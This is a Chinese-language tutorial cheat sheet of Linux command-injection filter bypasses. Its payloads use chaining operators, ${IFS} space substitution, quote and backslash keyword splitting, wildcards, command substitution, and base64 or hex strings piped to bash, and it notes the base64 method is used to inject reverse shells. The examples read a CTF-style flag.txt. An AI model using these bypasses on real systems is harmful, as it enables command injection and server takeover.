Linux下命令执行过滤关键字符后的常见绕过技巧
一,符号绕过
1-1 分号绕过
用;号隔开每个命令,每个命令按照从左到右的顺序执行,彼此之间不关心是否失败,所有命令都会执行。
cat /etc/passwd;ls -l
1-2 管道符 |
Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。
cat /etc/passwd | grep bash | wc -l
1-3 &
格式: command1 & command2
&放在启动参数后面表示设置此进程为后台进程,上面的命令会先执行command2,再执行command1
ping -c 1 baidu.com & ls -l
1-4 &&
格式: command1 && command2 [&& commandx]
&& 表示前一条命令执行成功时,才执行后一条命令
1-4-1 第一种情况
第一个命令错误,第二个命令不会执行
如:/etc/aini 不存在就会报错,后面的ls也不会执行
cat /etc/aini && ls -l
1-4-2 第二种情况
所有命令都正确
pwd && ls -l && cat /etc/passwd
1-5 ||
格式:command1 || command2 [|| commandx]
跟&&符号相反,前面那条命令为假才会执行后面的命令
只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。–直到返回真的地方停止执行。
cat /etc/aini || pwd
第一个命令结果为假,所以继续执行第二个命令
1-6 绕过空格
1-6-1 {}绕过
{cat,etc/passwd}
1-6-2 ${IFS},$IFS$9,${IFS} 绕过
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat${IFS}flag.txt
1-6-3 < 绕过
cat<flag.txt
1-6-4 <> 绕过
cat<>flag.txt
1-7 对关键字的绕过
1-7-1 (\)
比如会对cat falg 等一些常用关键字进行检测,可以用 \ 绕过
原理就是\转义符号只对一些特殊符号转义,对字母转义跟不转义效果一样
c\a\t<>f\l\a\g.t\x\t
1-7-2 '' 绕过
cat fla''g.php
1-7-3 双''来字符串拼接绕过
'fl' + 'ag' = 'flag'
其实等于
'fl''ag' = 'flag'
1-7-4 变量绕过
a=fl;b=ag;cat $a$b.php
1-8 通配符绕过
1-8-1 ? * 来绕过
?在linux里面可以进行代替字母
*在linux里面可以进行模糊匹配
cat<>fl*
cat flag?txt
1-8-2 [范围] 或 {f..h} 来绕过
[a-z] 表示匹配 a~z
{f..h} 表示f~h 无论是否匹配成功都匹配一遍
cat fla[f-h].*
分别匹配到了flag.txt和flag.php
1-9 内联使用
1-9-1 `` 绕过
`` 里面的命令优先执行
cat `ls | grep fla`
分别匹配到了flag.txt和flag.php
1-9-2 $() 绕过
cat $(ls | grep fla)
二,编码绕过
2-1 base64编码绕过
经常用此方法来给对方服务器注入反向shell命令
echo Y2F0IGZsYWcudHh0 | base64 -d | bash -i
综合利用
1,绕过空格
2,绕过关键字过滤
3,编码
\e\c\h\o${IFS}Y2F0IGZsYWcudHh0${IFS}|${IFS}\b\a\s\e\6\4${IFS}-\d${IFS}|${IFS}\b\a\s\h${IFS}-\i
2-2 hex编码绕过
2-2-1 熟悉xxd命令
-a 缺省忽略转换: 使用‘*’替换空行.
-b 二进数数据转储 (与 -ps,-i,-r不兼容). 默认为16进制.
-c cols 每行多少列octets(特制8比特的字节). 默认为16列(-i: 12, -ps: 30).
-E 使用EBCDIC字符集. 默认为ASCII字符集.
-e 小端模式转储 (与 -ps,-i,-r不兼容).
-g 在正常输出中,每组八位字节数. 默认为2个 (-e: 4).
-h 输出此帮助.
-i 使用C语言文件样式输出.
-l len 在len个八位字节后停止.
-o off 在off个偏移量后开始输出.
-ps 以在行后添加16进制转储内容的格式输出.
-r 逆向操作: 转换(或修补) 十六进制内容为二进制内容.
-r -s off 在off个偏移量后开始转换16进制内容为二进制内容
-s [+][-]seek start at <seek> bytes abs. (or +: rel.) infile offset.(没看懂)
-u 使用大写字母进行十六进制表示.
-v 显示版本: "xxd V1.10 27oct98 by Juergen Weigert".
2-2-2 例子
echo 63617420666c61672e747874 | xxd -r -p|bash